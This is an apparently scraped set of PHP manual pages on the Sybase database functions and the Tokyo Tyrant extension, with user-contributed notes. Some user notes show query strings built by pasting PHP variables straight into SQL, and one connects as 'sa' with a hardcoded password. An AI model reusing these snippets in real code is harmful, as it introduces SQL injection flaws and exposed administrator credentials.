Because Sybase does not process the number of returned rows until all rows have been fetched, this function should be avoided if the query returns MANY rows: PHP3 will have to fetch internally all rows coming from the server, keeping results in memory until the result set is fully returned and no more rows are signaled by the SQL Server. If you want to put a limit on the number of rows to really fetch in your application, it will be much faster to first select the count of rows that match the search criters, prior to select effective data. Shame, the current implementation of PHP3 Sybase support functions does not have an option to control whever all rows should be fetched prior to return from the query. More, there's no provision for queries that return multiple results sets, so this function terminates the current query without allowing further results sets to be returned. A good idea would be that this function processes only the current result set, but does not terminate the query, allowing the script to use either a new "sybase_next_result()" or "sybase_free_result()" after processing the current dataset.
The current implementation of this function fetches all pending rows in memory, which updates the counter that is otherwised set up for the sybase_affected_rows(). If you don't call this function, sybase_affected_rows() is not accurate for the current selected result set because all rows have not been internally fetched. If you just want to show the total number of rows displayed on your HTML page, it's a good idea to call it only AFTER all rows have been fetched, because this count is immediately accurate without requiring PHP3 to fetch pending rows and save them in internal memory.
sybase_num_fields
sybase_pconnect
Sybase Functions


Open persistent Sybase connection

sybase_num_rows
sybase_query
Sybase Functions
PHP Manual

sybase_pconnect

(PHP 4, PHP 5)

sybase_pconnect — Open persistent Sybase connection

Description

resource sybase_pconnect ([ string $servername [, string $username [, string $password [, string $charset [, string $appname ]]]]] )

sybase_pconnect() acts very much like sybase_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (sybase_close() will not close links established by sybase_pconnect()).

This type of links is therefore called 'persistent'.

Parameters

servername

The servername argument has to be a valid servername that is defined in the 'interfaces' file.

username

Sybase user name

password

Password associated with username.

charset

Specifies the charset for the connection

appname

Specifies an appname for the Sybase connection. This allow you to make separate connections in the same script to the same database. This may come handy when you have started a transaction in your current connection, and you need to be able to do a separate query which cannot be performed inside this transaction.

Return Values

Returns a positive Sybase persistent link identifier on success, or FALSE on error.

Changelog

Version | Description
4.2.0 | The appname parameter was added.
4.0.2 | The charset parameter was added.

See Also

  • sybase_connect() - Opens a Sybase server connection

User Contributed Notes

verdy_p at wanadoo dot fr 24-Jul-1999 01:53
The servername specified in sybase_connect and sybase_pconnect is solved locally on the PHP3 server host, which should be configured with the appropriate Sybase client configuration. This includes setting the environment variables for the account that runs the PHP3 extension, i.e. if it runs as a Web server extension, it must be configured in the user account that runs the Web server. You may setup at least the SYBASE environment, and add $SYBASE/bin within the user's path that runs the Web server. Standard installations of Sybase clients include setting up either a $SYBASE/interfaces file under Unix, or %SYBASE%\ini\sql.ini under Windows. This file contains local aliasnames for the referenced server names. These names may be different than that really used on the host that run the Sybase SQL Server. What is important is that this Sybase client configuration file will specify the location of the SQL Server, i.e. the network protocol to use, and if it's through TCP/IP, the host name or IP address of the Sybase SQL Server host, and its listener port number. Newer versions of Sybase includes the option to setup the interfaces or SQL.INI file with a single server entry, with will be a Sybase naming service. If this is used, the Sybase OpenClient libraries will connect to this naming service, if the SERVER name specified can't be solved locally. This naming service will provide the SQL Server location for the specified SERVER name you use in the sybase_connect or sybase_pconnect function calls, allowinf naming resolution on sites that want to have a centralized administration of multiple Sybase OpenServer servers, including gateways to other SQL servers such as OpenServer compatible gateways to Oracle or Informix servers. But if you want faster accesses to your Sybase SQL server used by your PHP3 scripts, you should configure the host which runs the PHP3 extension so that servernames can be solved locally. All you need is to add server entries in your interfaces or SQL.INI Sybase OpenClient configuration file.
sybase_num_rows
sybase_query
Sybase Functions


Sends a Sybase query

sybase_pconnect
sybase_result
Sybase Functions
PHP Manual

sybase_query

(PHP 4, PHP 5)

sybase_query — Sends a Sybase query

Description

mixed sybase_query ( string $query [, resource $link_identifier ] )

sybase_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

Parameters

query

link_identifier

If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if sybase_connect() was called, and use it.

Return Values

Returns a positive Sybase result identifier on success, FALSE on error, or TRUE if the query was successful but didn't return any columns.

See Also

  • sybase_select_db() - Selects a Sybase database
  • sybase_connect() - Opens a Sybase server connection

User Contributed Notes

matt dot sawyer at gmail dot com 28-Oct-2004 09:21
I am using PHP 4.1.1 to connect to an older version of Sybase that doesn't work with CT.  I found that while attempting to execute an erroneous query, sybase_query() never returns false for non-select query statements.  This was reported as a bug but then dismissed because the problem is that Sybase itself does not indicate any error to PHP.

However I appear to have found a workaround: after each query statement, call sybase_get_last_message().  If that function returns you anything, it will be an error message.  Then you know your non-select query has truly failed.
cnbluesea at hotmail dot com 22-Aug-2002 11:54
To use this function to execute stored procedures by parameters like this:
sybase_query("exec p_name '$para1','$para2'",$conn)
$para1 and $para2 are strings.
it works well.
dabratt at ifrance dot com 09-Jul-2002 06:00
Strange problem... I'm accessing a SQL SERVER 2000 database through freetds with php v4.0.1pl2 on linux.
Thoses instructions work fine :

// Just a test
sybase_query("SELECT MES_ID FROM T_MESSAGE", $dbproc);

// data i want to retrieve, stored procedure
$resConfig = sybase_query("exec P_SLC_EMAILCONFIG", $dbproc);
$arrConfig = sybase_fetch_array($resConfig);

But, when i replace the SELECT statement by an UPDATE statement, i.e:

// Here's the update
sybase_query("UPDATE T_MESSAGE SET MES_STATE = 0", $dbproc);

// data i want to retrieve, stored procedure
$resConfig = sybase_query("exec P_SLC_EMAILCONFIG", $dbproc);
$arrConfig = sybase_fetch_array($resConfig);

Then i've got an error : "Supplied argument is not a valide Sybase result resource.." on the line containing the sybase_fetch_array command.
I don't understand why... I have to close and reopen the connection if i want those lines to work!!!
dezi at digicol dot de 24-Jan-2001 12:26
sybase_query stores the whole result set in memory before returning. This function is unusable for real large result sets, ie. dumping a large table from sybase to php.
ilya at vtrails dot com 21-Feb-2000 06:42
This is true for stored procedures' execution results, too. If you have a result set and a status returned, you will only be able to access the result set. Argh.
verdy_p at wanadoo dot fr 24-Jul-1999 03:00
This function can be used to call stored procedures, or to process multiple queries in the same call in the same "batch". However there's a limit on the kind of stored procedures you can call, because Sybase allows a stored procedure or "batch" to return multiple result sets, and because the surrent implementation of sybase support in PHP3 has no provision to process each result set, one after one. If your stored procedure or batch has multiple result sets returned, you will only be able to retrieved the first result set in you PHP3 script. Note that other result sets won't be processed by the SQL server until you close the current result set. So this may suspend the execution of a stored procedure or batch on the SQL Server. Note also that if a stored procedure or batch uses "print" or "raiserror" SQL statements, you won't be able to collect the returned messages in the result set, because these statements do not generate a result set but instead return asynchronous server messages which currently have no support in the sybase PHP3 set of functions.
It would be a good idea for someone to add the support for queries that return multiple result sets and server messages, so that any kind of Sybase SQL queries can be used in PHP3 scripts.
This would require adding a function to go to the next results set, and a function to retrieve server messages generated before, between, and after each result sets. Note also that server messages could be sent within a result set, this won't be from "print" or "raiserror" SQL statements but internal server errors while processing a result set returned by a SELECT statement, or messages generated by triggers. There could also exist asynchronous client messages while processing any kind of return (result set or server messages), and there's for now no function to return them. Such client messages mainly signal connection status and data conversion errors.
sybase_pconnect
sybase_result
Sybase Functions


Get result data

sybase_query
sybase_select_db
Sybase Functions
PHP Manual

sybase_result

(PHP 4, PHP 5)

sybase_result — Get result data

Description

string sybase_result ( resource $result , int $row , mixed $field )

Returns the contents of the cell at the row and offset in the specified Sybase result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than sybase_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Recommended high-performance alternatives:
sybase_fetch_row(),
sybase_fetch_array() and
sybase_fetch_object().

Parameters

result

row

field

The field argument can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name.

Return Values

sybase_result() returns the contents of one cell from a Sybase result set.

User Contributed Notes

chad at matrixnetwork dot net 05-Apr-2001 04:39
If a stored procedure is doing all the work for you and you just need to retrieve a single cell...

<?php
$db = sybase_connect("sybtest", "sa", "users");
$query = sybase_query("EXEC usp_get_id @username='$username'", $db);
$id = sybase_result($query,0,0);
echo $id;
?>

Simple.
sybase_query
sybase_select_db
Sybase Functions


Selects a Sybase database

sybase_result
sybase_set_message_handler
Sybase Functions
PHP Manual

sybase_select_db

(PHP 4, PHP 5)

sybase_select_db — Selects a Sybase database

Description

bool sybase_select_db ( string $database_name [, resource $link_identifier ] )

sybase_select_db() sets the current active database on the server that's associated with the specified link identifier.

Every subsequent call to sybase_query() will be made on the active database.

Parameters

database_name

link_identifier

If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if sybase_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_connect() - Opens a Sybase server connection
  • sybase_pconnect() - Open persistent Sybase connection
  • sybase_query() - Sends a Sybase query

User Contributed Notes

jayne dot westall at bayernlb dot co dot 31-Oct-2005 12:33
Sybase generates the following warning whenever you change databases.

Sybase: Server message: Changed database context to 'databasename'.

Suppress the message by prefixing sybase_connect and sybase_select_db with an @ sign.
verdy_p at wanadoo dot fr 24-Jul-1999 02:14
Using this function is not required under Sybase, because Sybase SQL Server users can be configured with a default database to use at connection time. You only need this function if your SQL Server has multiple database names, and you want to switch your queries from one database to another one on the same SQLServer, for example if the connection user name has "master" as its default database name and you want to process queries in your application database, or if the username (in fact the loginname in Sybase terminology) has an application database configured for its default database, and you want to process some queries in the "master", "tempdb", or "sybsystemprocs" database.
When you call this function, and it returns successfully, the "username" parameter in the sybase_connect or sybase_pconnect function calls is NOT the user name that holds the access rights in that database. In fact, the "username" is used by Sybase only as a loginname for the SQL Server, and it is mapped to a database-specific username according to the contents of the database sysusers system table that maps logins to database users. Many databases only have a "dbo" username, whatever the loginname you configured on the server's "master" database; in that case to the database is specified by the default servername for the specified loginname, and the access rights are determined by the database's map in sysusers system table which specifies with login is associated with the "dbo" user. You may elect to configure another user in your application database, with limited granted rights, and then add a new server login with a specific password and this database as its default database to use. Such a configuration will add an extra level of security for your database, avoiding full privileges (thus forbidding alteration of the database schema by PHP3 scripts). You may also give strict grants with select-only access rights to the new user, so that PHP3 will only be able to select data from the database, but won't be granted to modify the database contents.
sybase_result
sybase_set_message_handler
Sybase Functions


Sets the handler called when a server message is raised

sybase_select_db
sybase_unbuffered_query
Sybase Functions
PHP Manual

sybase_set_message_handler

(PHP 4 >= 4.3.0, PHP 5)

sybase_set_message_handler — Sets the handler called when a server message is raised

Description

bool sybase_set_message_handler ( callback $handler [, resource $link_identifier ] )

sybase_set_message_handler() sets a user function to handle messages generated by the server. You may specify the name of a global function, or use an array to specify an object reference and a method name.

Parameters

handler

The handler expects five arguments in the following order: message number, severity, state, line number and description. The first four are integers. The last is a string. If the function returns FALSE, PHP generates an ordinary error message.

link_identifier

If the link identifier isn't specified, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.5 | The link_identifier parameter was added.

Examples

Example #1 sybase_set_message_handler() callback function

<?php
    function msg_handler($msgnumber, $severity, $state, $line, $text)
    {
        var_dump($msgnumber, $severity, $state, $line, $text);
    }

    sybase_set_message_handler('msg_handler');
?>

Example #2 sybase_set_message_handler() callback to a class

<?php
    class Sybase {
        function handler($msgnumber, $severity, $state, $line, $text)
        {
            var_dump($msgnumber, $severity, $state, $line, $text);
        }
    }

    $sybase= new Sybase();
    sybase_set_message_handler(array($sybase, 'handler'));
?>

Example #3 sybase_set_message_handler() unhandled messages

<?php
    // Return FALSE from this function to indicate you can't handle
    // this. The error is printed out as a warning, the way you're used
    // to it if there is no handler installed.
    function msg_handler($msgnumber, $severity, $state, $line, $text)
    {
        if (257 == $msgnumber) {
            return false;
        }
        var_dump($msgnumber, $severity, $state, $line, $text);
    }

    sybase_set_message_handler('msg_handler');
?>

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

User Contributed Notes

19-Jun-2003 02:23
You can check for Showplan messages using this callback. Showplan message numbers go from 6201 through 6292 (at least here, on SQL Server/11.0.3.3).

select error, description from master..sysmessages where error between 6201 and 6292
sybase_select_db
sybase_unbuffered_query
Sybase Functions


Send a Sybase query and do not block

sybase_set_message_handler
tokyo_tyrant
Sybase Functions
PHP Manual

sybase_unbuffered_query

(PHP 4 >= 4.3.0, PHP 5)

sybase_unbuffered_query — Send a Sybase query and do not block

Description

resource sybase_unbuffered_query ( string $query , resource $link_identifier [, bool $store_result ] )

sybase_unbuffered_query() sends a query to the currently active database on the server that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if sybase_connect() was called, and use it.

Unlike sybase_query(), sybase_unbuffered_query() reads only the first row of the result set. sybase_fetch_array() and similar function read more rows as needed. sybase_data_seek() reads up to the target row. The behavior may produce better performance for large result sets.

sybase_num_rows() will only return the correct number of rows if all result sets have been read. To Sybase, the number of rows is not known and is therefore computed by the client implementation.

Note:

If you don't read all of the resultsets prior to executing the next query, PHP will raise a warning and cancel all of the pending results. To get rid of this, use sybase_free_result() which will cancel pending results of an unbuffered query.

Parameters

query

link_identifier

store_result

The optional store_result can be FALSE to indicate the resultsets shouldn't be fetched into memory, thus minimizing memory usage which is particularly interesting with very large resultsets.

Return Values

Returns a positive Sybase result identifier on success, or FALSE on error.

Examples

Example #1 sybase_unbuffered_query() example

<?php

$dbh = sybase_connect('SYBASE', '', '');
$q = sybase_unbuffered_query('select firstname, lastname from huge_table', $dbh, false);
sybase_data_seek($q, 10000);
$i = 0;

while ($row = sybase_fetch_row($q)) {
    echo $row[0], ' ', $row[1], '<br />';
    if ($i++ > 40000) {
        break;
    }
}

sybase_free_result($q);
sybase_close($dbh);

?>

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_query() - Sends a Sybase query

User Contributed Notes

There are no user contributed notes for this page.
sybase_set_message_handler
tokyo_tyrant
Sybase Functions


tokyo_tyrant

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • TokyoTyrant — The TokyoTyrant class
    • TokyoTyrant::add — Adds to a numeric key
    • TokyoTyrant::connect — Connect to a database
    • TokyoTyrant::connectUri — Connects to a database
    • TokyoTyrant::__construct — Construct a new TokyoTyrant object
    • TokyoTyrant::copy — Copies the database
    • TokyoTyrant::ext — Execute a remote script
    • TokyoTyrant::fwmKeys — Returns the forward matching keys
    • TokyoTyrant::get — The get purpose
    • TokyoTyrant::getIterator — Get an iterator
    • TokyoTyrant::num — Number of records in the database
    • TokyoTyrant::out — Removes records
    • TokyoTyrant::put — Puts values
    • TokyoTyrant::putCat — Concatenates to a record
    • TokyoTyrant::putKeep — Puts a record
    • TokyoTyrant::putNr — Puts value
    • TokyoTyrant::putShl — Concatenates to a record
    • TokyoTyrant::restore — Restore the database
    • TokyoTyrant::setMaster — Set the replication master
    • TokyoTyrant::size — Returns the size of the value
    • TokyoTyrant::stat — Get statistics
    • TokyoTyrant::sync — Synchronize the database
    • TokyoTyrant::tune — Tunes connection values
    • TokyoTyrant::vanish — Empties the database
  • TokyoTyrantTable — The TokyoTyrantTable class
    • TokyoTyrantTable::add — Adds a record
    • TokyoTyrantTable::genUid — Generate unique id
    • TokyoTyrantTable::get — Get a row
    • TokyoTyrantTable::getIterator — Get an iterator
    • TokyoTyrantTable::getQuery — Get a query object
    • TokyoTyrantTable::out — Remove records
    • TokyoTyrantTable::put — Store a row
    • TokyoTyrantTable::putCat — Concatenates to a row
    • TokyoTyrantTable::putKeep — Put a new record
    • TokyoTyrantTable::putNr — Puts value
    • TokyoTyrantTable::putShl — Concatenates to a record
    • TokyoTyrantTable::setIndex — Sets index
  • TokyoTyrantQuery — The TokyoTyrantQuery class
    • TokyoTyrantQuery::addCond — Adds a condition to the query
    • TokyoTyrantQuery::__construct — Construct a new query
    • TokyoTyrantQuery::count — Counts records
    • TokyoTyrantQuery::current — Returns the current element
    • TokyoTyrantQuery::hint — Get the hint string of the query
    • TokyoTyrantQuery::key — Returns the current key
    • TokyoTyrantQuery::metaSearch — Retrieve records with multiple queries
    • TokyoTyrantQuery::next — Moves the iterator to next entry
    • TokyoTyrantQuery::out — Removes records based on query
    • TokyoTyrantQuery::rewind — Rewinds the iterator
    • TokyoTyrantQuery::search — Searches records
    • TokyoTyrantQuery::setLimit — Limit results
    • TokyoTyrantQuery::setOrder — Orders results
    • TokyoTyrantQuery::valid — Checks the validity of current item
  • TokyoTyrantIterator — The TokyoTyrantIterator class
    • TokyoTyrantIterator::__construct — Construct an iterator
    • TokyoTyrantIterator::current — Get the current value
    • TokyoTyrantIterator::key — Returns the current key
    • TokyoTyrantIterator::next — Move to next key
    • TokyoTyrantIterator::rewind — Rewinds the iterator
    • TokyoTyrantIterator::valid — Rewinds the iterator
  • TokyoTyrantException — The TokyoTyrantException class

User Contributed Notes

There are no user contributed notes for this page.
sybase_unbuffered_query
Introduction
Vendor Specific Database Extensions


Introduction

tokyo_tyrant extension provides a wrapper for Tokyo Tyrant client libraries. The extension contains the normal key-value API and the table API.

"Tokyo Tyrant is a package of network interface to the DBM called Tokyo Cabinet. Though the DBM has high performance, you might bother in case that multiple processes share the same database, or remote processes access the database. Thus, Tokyo Tyrant is provided for concurrent and remote connections to Tokyo Cabinet. It is composed of the server process managing a database and its access library for client applications." --Tokyo Tyrant documentation

Tokyo Tyrant is written by Mikio Hirabayashi and is licensed under GNU Lesser General Public License.

User Contributed Notes

There are no user contributed notes for this page.
tokyo_tyrant
Installing/Configuring
tokyo_tyrant


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
tokyo_tyrant


Requirements

Before using this extension Tokyo Cabinet and Tokyo Tyrant must be installed.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/tokyo_tyrant

Configure options

  • --with-tokyo-tyrant[=DIR] DIR is the prefix to the Tokyo Tyrant installation
  • --with-tokyo-cabinet-dir[=DIR] DIR is the prefix to the Tokyo Cabinet installation
  • --disable-tokyo-tyrant-session Disable Tokyo Tyrant session handler support

Enabling the extension

The extension can be enabled by adding extension=tokyo_tyrant.so to the INI-configuration

Running Tokyo Tyrant for the session handler

ttserver -port 2000 -ext /path/to/expire.lua -extpc expire 30.0 '/tmp/sessions.tct#idx=ts:dec'

Note: expire.lua is included in the tokyo_tyrant extension source distribution

Configuring session handler

  • tokyo_tyrant.session_salt="randomlongstring"
  • session.save_handler=tokyo_tyrant
  • session.save_path="tcp://hostname1:2000,tcp://hostname2:2000"

Note: It is important to make sure that tokyo_tyrant.session_salt matches on all servers.

How it works?

The session handler creates a session id like the following: 8b0e27a823fa4a6cf7246945b82c1d51-a5eadbbed1f2075952900628456bfd6830541629-0-5460

The parts from left to right:

  • Session id - Generated session id
  • Checksum - Checksum of session salt, session id, node id and primary key
  • Node id - The id of the node where the session maps to
  • Primary key - The primary key of the row where the session is stored

The checksum contains SHA1 sum of the node id, primary key, session id and the salt which is known only on the server side. This allows quick mapping of session id to node and primary key since there is no need to do an additional search. During session id regeneration only the parts 1 and 2 change but the mapping to the node and primary key stays constant.

In case some of the nodes fail tokyo_tyrant.allow_failover, tokyo_tyrant.fail_threshold and tokyo_tyrant.health_check_divisor INI-settings control the behavior during failover. If failover is allowed the session handler will map the session to a healthy node and creates a new empty session.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

tokyo_tyrant Configure Options
Name | Default | Changeable | Changelog
tokyo_tyrant.default_timeout | 2.0 | PHP_INI_ALL |
tokyo_tyrant.session_salt | NULL | PHP_INI_ALL |
tokyo_tyrant.key_prefix | NULL | PHP_INI_ALL |
tokyo_tyrant.allow_failover | 1 | PHP_INI_ALL |
tokyo_tyrant.fail_threshold | 5 | PHP_INI_ALL |
tokyo_tyrant.health_check_divisor | 1000 | PHP_INI_ALL |
tokyo_tyrant.php_expiration | 0 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

tokyo_tyrant.default_timeout integer

Default timeout when connecting to databases

tokyo_tyrant.session_salt string

The secret that is used to salt session id

tokyo_tyrant.key_prefix string

Prefix all keys with this string. The prefix is transparent to the developer but helps making sure that keys won't collide if multiple applications are using the same database.

tokyo_tyrant.allow_failover integer

Whether to allow session failover in case a server dies.

tokyo_tyrant.fail_threshold integer

How many read/write or connection failures is allowed before server is marked as failed.

tokyo_tyrant.health_check_divisor integer

Defines the divisor for the health check probability. If there are failed servers and the probability matches, the servers are health checked and in case the server seems healthy, it will be added back to the pool.

tokyo_tyrant.php_expiration integer

Whether to use built in session expiration mechanism or delegate the expiration to a lua-script on the server-side.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

TokyoTyrant constants

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
tokyo_tyrant


Examples

Basic usage

Example #1 Putting and getting a key-value pair

<?php
$tt = new TokyoTyrant("localhost");
$tt->put("key", "value");
echo $tt->get("key");
?>

The above example will output:

value

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
TokyoTyrant
tokyo_tyrant


The TokyoTyrant class

(No version information available, might only be in SVN)

Introduction

The main Tokyo Tyrant class

Class synopsis

TokyoTyrant {
/* Constants */
const integer RDBDEF_PORT = 1978 ;
const integer RDBQC_STREQ = 0 ;
const integer RDBQC_STRINC = 1 ;
const integer RDBQC_STRBW = 2 ;
const integer RDBQC_STREW = 3 ;
const integer RDBQC_STRAND = 4 ;
const integer RDBQC_STROR = 5 ;
const integer RDBQC_STROREQ = 6 ;
const integer RDBQC_STRRX = 7 ;
const integer RDBQC_NUMEQ = 8 ;
const integer RDBQC_NUMGT = 9 ;
const integer RDBQC_NUMGE = 10 ;
const integer RDBQC_NUMLT = 11 ;
const integer RDBQC_NUMLE = 12 ;
const integer RDBQC_NUMBT = 13 ;
const integer RDBQC_NUMOREQ = 14 ;
const integer RDBQC_NEGATE = 16777216 ;
const integer RDBQC_NOIDX = 33554432 ;
const integer RDBQO_STRASC = 0 ;
const integer RDBQO_STRDESC = 1 ;
const integer RDBQO_NUMASC = 2 ;
const integer RDBQO_NUMDESC = 3 ;
const integer RDBIT_LEXICAL = 0 ;
const integer RDBIT_DECIMAL = 1 ;
const integer RDBIT_TOKEN = 2 ;
const integer RDBIT_QGRAM = 3 ;
const integer RDBIT_OPT = 9998 ;
const integer RDBIT_VOID = 9999 ;
const integer RDBIT_KEEP = 16777216 ;
const integer RDBQCFTS_PH = 15 ;
const integer RDBQCFTS_AND = 16 ;
const integer RDBQCFTS_OR = 17 ;
const integer RDBQCFTS_EX = 18 ;
const integer RDBXO_LCKREC = 1 ;
const integer RDBXOLCK_GLB = 2 ;
const integer RDBREC_INT = 1 ;
const integer RDBREC_DBL = 2 ;
const integer RDBMS_UNION = 0 ;
const integer RDBMS_ISECT = 1 ;
const integer RDBMS_DIFF = 2 ;
const integer RDBT_RECON = 1 ;
/* Methods */
public number add ( string $key , number $increment [, int $type = 0 ] )
public TokyoTyrant connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )
public TokyoTyrant connectUri ( string $uri )
public __construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )
public TokyoTyrant copy ( string $path )
public string ext ( string $name , int $options , string $key , string $value )
public array fwmKeys ( string $prefix , int $max_recs )
public mixed get ( mixed $keys )
public TokyoTyrantIterator getIterator ( void )
public int num ( void )
public TokyoTyrant out ( mixed $keys )
public TokyoTyrant put ( mixed $keys [, string $value = NULL ] )
public TokyoTyrant putCat ( mixed $keys [, string $value ] )
public TokyoTyrant putKeep ( mixed $keys [, string $value ] )
public TokyoTyrant putNr ( mixed $keys [, string $value = NULL ] )
public mixed putShl ( string $key , string $value , int $width )
public mixed restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )
public mixed setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )
public int size ( string $key )
public array stat ( void )
public mixed sync ( void )
public TokyoTyrant tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )
public mixed vanish ( void )
}

Predefined Constants

TokyoTyrant Constants

TokyoTyrant::RDBDEF_PORT

The default port of the Tokyo Tyrant database

TokyoTyrant::RDBQC_STREQ

string is equal to

TokyoTyrant::RDBQC_STRINC

string is included in

TokyoTyrant::RDBQC_STRBW

string begins with

TokyoTyrant::RDBQC_STREW

string ends with

TokyoTyrant::RDBQC_STRAND

string includes all tokens in

TokyoTyrant::RDBQC_STROR

string includes at least one token in

TokyoTyrant::RDBQC_STROREQ

string is equal to at least one token in

TokyoTyrant::RDBQC_STRRX

string matches regular expressions of

TokyoTyrant::RDBQC_NUMEQ

number is equal to

TokyoTyrant::RDBQC_NUMGT

number is greater than

TokyoTyrant::RDBQC_NUMGE

number is greater than or equal to

TokyoTyrant::RDBQC_NUMLT

number is less than

TokyoTyrant::RDBQC_NUMLE

number is less than or equal to

TokyoTyrant::RDBQC_NUMBT

number is between two tokens of

TokyoTyrant::RDBQC_NUMOREQ

number is equal to at least one token in

TokyoTyrant::RDBQC_NEGATE

negation flag

TokyoTyrant::RDBQC_NOIDX

no index flag

TokyoTyrant::RDBQO_STRASC

string ascending

TokyoTyrant::RDBQO_STRDESC

string descending

TokyoTyrant::RDBQO_NUMASC

number ascending

TokyoTyrant::RDBQO_NUMDESC

number descending

TokyoTyrant::RDBIT_LEXICAL

lexical string

TokyoTyrant::RDBIT_DECIMAL

decimal string

TokyoTyrant::RDBIT_TOKEN

token inverted index (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBIT_QGRAM

QGRAM inverted index (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBIT_OPT

optimize

TokyoTyrant::RDBIT_VOID

void

TokyoTyrant::RDBIT_KEEP

keep existing index

TokyoTyrant::RDBQCFTS_PH

full-text search with the phrase of (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_AND

full-text search with all tokens in (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_OR

full-text search with at least one token in (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_EX

full-text search with the compound expression of (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_AND

Metasearch union between records (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBQCFTS_OR

Metasearch intersection between records (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBQCFTS_EX

Metasearch difference between records (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBT_RECON

Whether to reconnect on connection failure. It is recommended to have this parameter on for persistent connections

TokyoTyrant::RDBXOLCK_REC

record locking

TokyoTyrant::RDBXOLCK_GLB

global locking

TokyoTyrant::RDBREC_INT

record type int

TokyoTyrant::RDBREC_DBL

record type float (double)

TokyoTyrant::TTE_SUCCESS

success

TokyoTyrant::TTE_INVALID

invalid operation

TokyoTyrant::TTE_NOHOST

host not found

TokyoTyrant::TTE_REFUSED

connection refused

TokyoTyrant::TTE_SEND

send error

TokyoTyrant::TTE_RECV

recv error

TokyoTyrant::TTE_KEEP

record exist

TokyoTyrant::TTE_NOREC

no record found

TokyoTyrant::TTE_MISC

miscellaneous error

Table of Contents

  • TokyoTyrant::add — Adds to a numeric key
  • TokyoTyrant::connect — Connect to a database
  • TokyoTyrant::connectUri — Connects to a database
  • TokyoTyrant::__construct — Construct a new TokyoTyrant object
  • TokyoTyrant::copy — Copies the database
  • TokyoTyrant::ext — Execute a remote script
  • TokyoTyrant::fwmKeys — Returns the forward matching keys
  • TokyoTyrant::get — The get purpose
  • TokyoTyrant::getIterator — Get an iterator
  • TokyoTyrant::num — Number of records in the database
  • TokyoTyrant::out — Removes records
  • TokyoTyrant::put — Puts values
  • TokyoTyrant::putCat — Concatenates to a record
  • TokyoTyrant::putKeep — Puts a record
  • TokyoTyrant::putNr — Puts value
  • TokyoTyrant::putShl — Concatenates to a record
  • TokyoTyrant::restore — Restore the database
  • TokyoTyrant::setMaster — Set the replication master
  • TokyoTyrant::size — Returns the size of the value
  • TokyoTyrant::stat — Get statistics
  • TokyoTyrant::sync — Synchronize the database
  • TokyoTyrant::tune — Tunes connection values
  • TokyoTyrant::vanish — Empties the database

User Contributed Notes

Min He 18-May-2010 03:52
TokyoTyrant::RDBQC_STREQ is case sensitive. The key in TokyoCabinet is case sensitive too.

For instance:

<?php
$tt->put("test",array("column1"=>"data1"));
$tt->put("Test",array("Column1"=>"data1"));
?>

added 2 rows in tc.

<?php
$query=$tt->getQuery();
$query->addCond("Column1", TokyoTyrant::RDBQC_STREQ, "data1");
$query->search();
?>

there will be only one result, and it's the row with key="Test".
Examples
TokyoTyrant::add
tokyo_tyrant


Adds to a numeric key

TokyoTyrant
TokyoTyrant::connect
TokyoTyrant
PHP Manual

TokyoTyrant::add

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::add — Adds to a numeric key

Description

public number TokyoTyrant::add ( string $key , number $increment [, int $type = 0 ] )

Adds to an int or double value. This increments the value by the given amount and returns the new value. If the key does not exist a new key is created with initial value of the increment parameter.

Parameters

key

The string key

increment

The amount to increment

type

TokyoTyrant::RDBREC_INT or TokyoTyrant::RDBREC_DBL constant. If this parameter is omitted the type is guessed from the increment parameters type.

Return Values

Returns the new value on success

Examples

Example #1 TokyoTyrant::add() example

<?php
$tt = new TokyoTyrant("localhost", TokyoTyrant::RDBDEF_PORT);
